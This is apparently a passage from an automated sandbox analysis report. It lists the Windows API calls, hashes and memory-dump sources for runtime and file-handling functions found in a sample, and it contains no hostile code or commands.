Opcode ID: 2ad0c85af20936b248c6d9a0ce689665ecda0b66fd100cd3f77b4d322938114b
Instruction ID: 466bef8dc5aee4e0e10a1b83d40a00a094b9dabf2a145109b72cac351ecdd77c
Opcode Fuzzy Hash: 2ad0c85af20936b248c6d9a0ce689665ecda0b66fd100cd3f77b4d322938114b
Instruction Fuzzy Hash: 5811A530918204EBDF205F64C84466D77E9FB43BA0F2085AAF416C6190E778DE44FB62

Function 00BCAD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00BAD710,00000000,00000000,?,00BCACDB,00BAD710,00000000,00000000,00000000,?,00BCAED8,00000006,FlsSetValue), ref: 00BCAD66
GetLastError.KERNEL32(?,00BCACDB,00BAD710,00000000,00000000,00000000,?,00BCAED8,00000006,FlsSetValue,00BD7970,FlsSetValue,00000000,00000364,?,00BC98B7), ref: 00BCAD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00BCACDB,00BAD710,00000000,00000000,00000000,?,00BCAED8,00000006,FlsSetValue,00BD7970,FlsSetValue,00000000), ref: 00BCAD80

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ab8716e799e4bde0a499cd85fef80186b1ddf08baf34835961f808a59aa9f316
Instruction ID: a42bbfbbc544b30fa001854c401578d02675866499aed6b347a3e3d8643144c2
Opcode Fuzzy Hash: ab8716e799e4bde0a499cd85fef80186b1ddf08baf34835961f808a59aa9f316
Instruction Fuzzy Hash: CE01283270222AABC7214E689C94F56BBD8EF00B667110279F807D3560EF20CC0186E2

Function 00BA9F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00BAD343,00000001,?,?,?,00000000,00BB551D,?,?,?), ref: 00BA9F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00BB551D,?,?,?,?,?,00BB4FC7,?), ref: 00BA9FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00BAD343,00000001,?,?), ref: 00BAA011

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 7fb8caefc109b4e1c2c4440113bceae3d0207c1701c891869f4a0af7d0f4c022
Instruction ID: 1fa6601705f6d629f352e31c42f55cf21ecfbd5b77a77636ecf6c9d617c28699
Opcode Fuzzy Hash: 7fb8caefc109b4e1c2c4440113bceae3d0207c1701c891869f4a0af7d0f4c022
Instruction Fuzzy Hash: 6531D131208345AFDB24CF24D858B6EB7E5FF86B11F04495DF98197290CB76AD48CBA2

Function 00BAA2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00BAC27E: _wcslen.LIBCMT ref: 00BAC284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA30C
GetLastError.KERNEL32(?,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA329

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 1764bd771b448db6109813bc232122fe817a88f44f82063f027c20f24c2bb21b
Instruction ID: 19f2194dbb1a46c032f66d12adbf1a60db936db183d478850df9fec41e2d76d8
Opcode Fuzzy Hash: 1764bd771b448db6109813bc232122fe817a88f44f82063f027c20f24c2bb21b
Instruction Fuzzy Hash: 1C01B1312092106AEF31AB758C59BFD77C8EF0B781F044495F902E6092EB64CA81C6BB

Function 00BCB893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00BCB8B8

Strings

, xrefs: 00BCB8FD

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: de1cb7d2f3824a0f307b81b44b8f8edc223688166031e6cbcc68a506eccf446b
Instruction ID: 3c39e43cc98900bffa270684238dfa1580987473bad14f6a8c5a1d4360bf98c7
Opcode Fuzzy Hash: de1cb7d2f3824a0f307b81b44b8f8edc223688166031e6cbcc68a506eccf446b
Instruction Fuzzy Hash: 0741F57050428C9ADF228E688C85FFABBE9EB55304F1404EDE6DAC7142D775AA458B60

Function 00BCAF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 00BCAFDD

Strings

LCMapStringEx, xrefs: 00BCAF7D, 00BCAF87

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 4566439ee4e8c3116a30906383a6ba1a2fbfc69b69956fc0878c8e51a65c1979
Instruction ID: 1167552d331b83933e1b1fc9958c85a37559971109266d38029ee4e6b6b8b1f8
Opcode Fuzzy Hash: 4566439ee4e8c3116a30906383a6ba1a2fbfc69b69956fc0878c8e51a65c1979
Instruction Fuzzy Hash: 7E014C3254510DBBCF125F90DC15DEEBFA2EF08754F01419AFE1466271DA768931EB81

Function 00BCAF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00BCA56F), ref: 00BCAF55

Strings

InitializeCriticalSectionEx, xrefs: 00BCAF1B, 00BCAF25

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 11632490c06d83e18d1ac80031d5cb99ccadd3917b7d7443e5a4f9d9fb46e3e0
Instruction ID: 6184f814fdf903aa84fe03276cb01d0d90d9fb0d9f00b962612333f27c99cd56
Opcode Fuzzy Hash: 11632490c06d83e18d1ac80031d5cb99ccadd3917b7d7443e5a4f9d9fb46e3e0
Instruction Fuzzy Hash: 85F0BB3254611CBBCB115F50CC15DADFFD1DF04B11B40409AFC1897260FE714E10978A

Function 00BCADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00BCADEE

Strings

FlsAlloc, xrefs: 00BCADC0, 00BCADCA

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: e59697e93c94ac1daff9661c7f8257245b169c8112c3a2c8eaeba40a6d572b72
Instruction ID: 9a727d115148b841bd0b2b46621588d1d4d4a76f630aabbe2fba41e985211f4d
Opcode Fuzzy Hash: e59697e93c94ac1daff9661c7f8257245b169c8112c3a2c8eaeba40a6d572b72
Instruction Fuzzy Hash: 45E05532A8221D7BC200AB64CC22EAEFBD0CB04B21B4000EAF805A7350FD744E0086CA

Function 00BBEAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBEAF9

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Strings

3ao, xrefs: 00BBEAE7, 00BBEAF3

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3ao
API String ID: 1269201914-2895740048
Opcode ID: 1bce09b426158f3efbaf9d71db3a28e00cb03bc0c7ec68ddb2ca78837b2fab12
Instruction ID: bc5b25e7b66ce5d039de28b861ed5491b0f9aa0e2ad90f1651fd107e8d369fbd
Opcode Fuzzy Hash: 1bce09b426158f3efbaf9d71db3a28e00cb03bc0c7ec68ddb2ca78837b2fab12
Instruction Fuzzy Hash: DDB092CA29A4827E290462015E82CB6498DC4C0B9032080AAB420C80A2E8C088014471

Function 00BCBBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00BCB7BB: GetOEMCP.KERNEL32(00000000,?,?,00BCBA44,?), ref: 00BCB7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00BCBA89,?,00000000), ref: 00BCBC64
GetCPInfo.KERNEL32(00000000,00BCBA89,?,?,?,00BCBA89,?,00000000), ref: 00BCBC77

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 9479a482bb33f755969dfe8b101eb2f3c19e03c212f607945ec30570e29eb261
Instruction ID: 1e69f512a95741d4dcd83b3009942713674024ddb533a2a706249ce1a0f7a0ab
Opcode Fuzzy Hash: 9479a482bb33f755969dfe8b101eb2f3c19e03c212f607945ec30570e29eb261
Instruction Fuzzy Hash: 235111709002459EDB209F75C892FBFBBE4EF41310F1840FED4969B252EB359945CB90

Function 00BA9A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00BA9A50,?,?,00000000,?,?,00BA8CBC,?), ref: 00BA9BAB
GetLastError.KERNEL32(?,00000000,00BA8411,-00009570,00000000,000007F3), ref: 00BA9BB6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: e2370dc864f529d24c95c97af5c70c1b51be0d26b9c63332b34d657240071ced
Instruction ID: bc3fc24e9c93bde519afc87889e632e8bd52a05404c035309c51aa9ac759c1f9
Opcode Fuzzy Hash: e2370dc864f529d24c95c97af5c70c1b51be0d26b9c63332b34d657240071ced
Instruction Fuzzy Hash: 3241E13060C3018FDB24DF15E58456AF7E5FFD6720F548AAEE89283260D770ED44AB61

Function 00BCBA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00BC97E5: GetLastError.KERNEL32(?,00BE1030,00BC4674,00BE1030,?,?,00BC3F73,00000050,?,00BE1030,00000200), ref: 00BC97E9
Part of subcall function 00BC97E5: _free.LIBCMT ref: 00BC981C
Part of subcall function 00BC97E5: SetLastError.KERNEL32(00000000,?,00BE1030,00000200), ref: 00BC985D
Part of subcall function 00BC97E5: _abort.LIBCMT ref: 00BC9863

Part of subcall function 00BCBB4E: _abort.LIBCMT ref: 00BCBB80
Part of subcall function 00BCBB4E: _free.LIBCMT ref: 00BCBBB4

Part of subcall function 00BCB7BB: GetOEMCP.KERNEL32(00000000,?,?,00BCBA44,?), ref: 00BCB7E6

_free.LIBCMT ref: 00BCBA9F
_free.LIBCMT ref: 00BCBAD5

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: e2ff141b4a4b9f7b19ea62ff4ec544986d43c87cbe86a7e916ab7cb17dfec64c
Instruction ID: a3643c14737fdcb41a4435f8b65cc4f73f4fcb46bbc13730bdc8fbe7fe5e260c
Opcode Fuzzy Hash: e2ff141b4a4b9f7b19ea62ff4ec544986d43c87cbe86a7e916ab7cb17dfec64c
Instruction Fuzzy Hash: 50316D31904209AFDB14EBA8D846FADB7E5EF40320F2540DEF9549B2A2EF729D41DB50

Function 00BA1E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA1E55

Part of subcall function 00BA3BBA: __EH_prolog.LIBCMT ref: 00BA3BBF

_wcslen.LIBCMT ref: 00BA1EFD

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 5f05a6beb9f211df099dcdb22c0a28bb4122b742ef72a0fa98e484c2698ee47c
Instruction ID: 58961cbef09d917539626f264cfbbf5ad95d2465170bd32395b1f1916008f966
Opcode Fuzzy Hash: 5f05a6beb9f211df099dcdb22c0a28bb4122b742ef72a0fa98e484c2698ee47c
Instruction Fuzzy Hash: 53314B71908209AFCF55DF98C955AEEBBF6EF09300F1008A9F445A7251CB365E00CB60

Function 00BA9DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00BA73BC,?,?,?,00000000), ref: 00BA9DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00BA9E70

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: efd7e164f2620f9e8f926d69c230c449d402356c696a32edf7def955b9b84c89
Instruction ID: 06e11e4b73059c6aeab303b02efcfdd679532279693abcba588864c9d13354b7
Opcode Fuzzy Hash: efd7e164f2620f9e8f926d69c230c449d402356c696a32edf7def955b9b84c89
Instruction Fuzzy Hash: 9921D03124D246ABC714CF34C891AABBBE8EF56704F0849ADF4C587142D329E94CAB62

Function 00BA966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00BA9F27,?,?,00BA771A), ref: 00BA96E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00BA9F27,?,?,00BA771A), ref: 00BA9716

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 04ca2e2ea3943e53ac4351a7a5dcfa195a3095ace14f5a4afa238d3f84d16715
Instruction ID: 81e05c4dc2b04b9c145353f52fc4d7ca2978c0eb78781a5891eba0a7407cf0d6
Opcode Fuzzy Hash: 04ca2e2ea3943e53ac4351a7a5dcfa195a3095ace14f5a4afa238d3f84d16715
Instruction Fuzzy Hash: FC21C1711087446FE3308A69CC89FF7B7DCEF4A320F100A59F996C61D2C7B4A884A631

Function 00BA9E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00BA9EC7
GetLastError.KERNEL32 ref: 00BA9ED4

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 1163f16645e6dc7d1d2f092ea38186604ada749e1b2757c877393092635a48f5
Instruction ID: dccefb8f07ce48f6a8c82fbf756fa06168b52e024eb41402e1b27ce4901a1e5a
Opcode Fuzzy Hash: 1163f16645e6dc7d1d2f092ea38186604ada749e1b2757c877393092635a48f5
Instruction Fuzzy Hash: 6D11E571608700EBE724C628C880BA6B7E8EB46360F604AA9E152D2AD1E770ED4DD760

Function 00BC8E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BC8E75

Part of subcall function 00BC8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BCCA2C,00000000,?,00BC6CBE,?,00000008,?,00BC91E0,?,?,?), ref: 00BC8E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00BE1098,00BA17CE,?,?,00000007,?,?,?,00BA13D6,?,00000000), ref: 00BC8EB1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 770fca1157d7863dff24b281f35196165455e3c59eb2c375f39ea6a48a76160d
Instruction ID: f734ea829de9fd1da52c91b4d2063911b6b061f64149564e4106542f3364f34f
Opcode Fuzzy Hash: 770fca1157d7863dff24b281f35196165455e3c59eb2c375f39ea6a48a76160d
Instruction Fuzzy Hash: 97F0963260511766DB212A29AC05FAF77D8CF82B70F2941EEF814A7191DF71DD0195B1

Function 00BB109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00BB10AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 00BB10B2

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

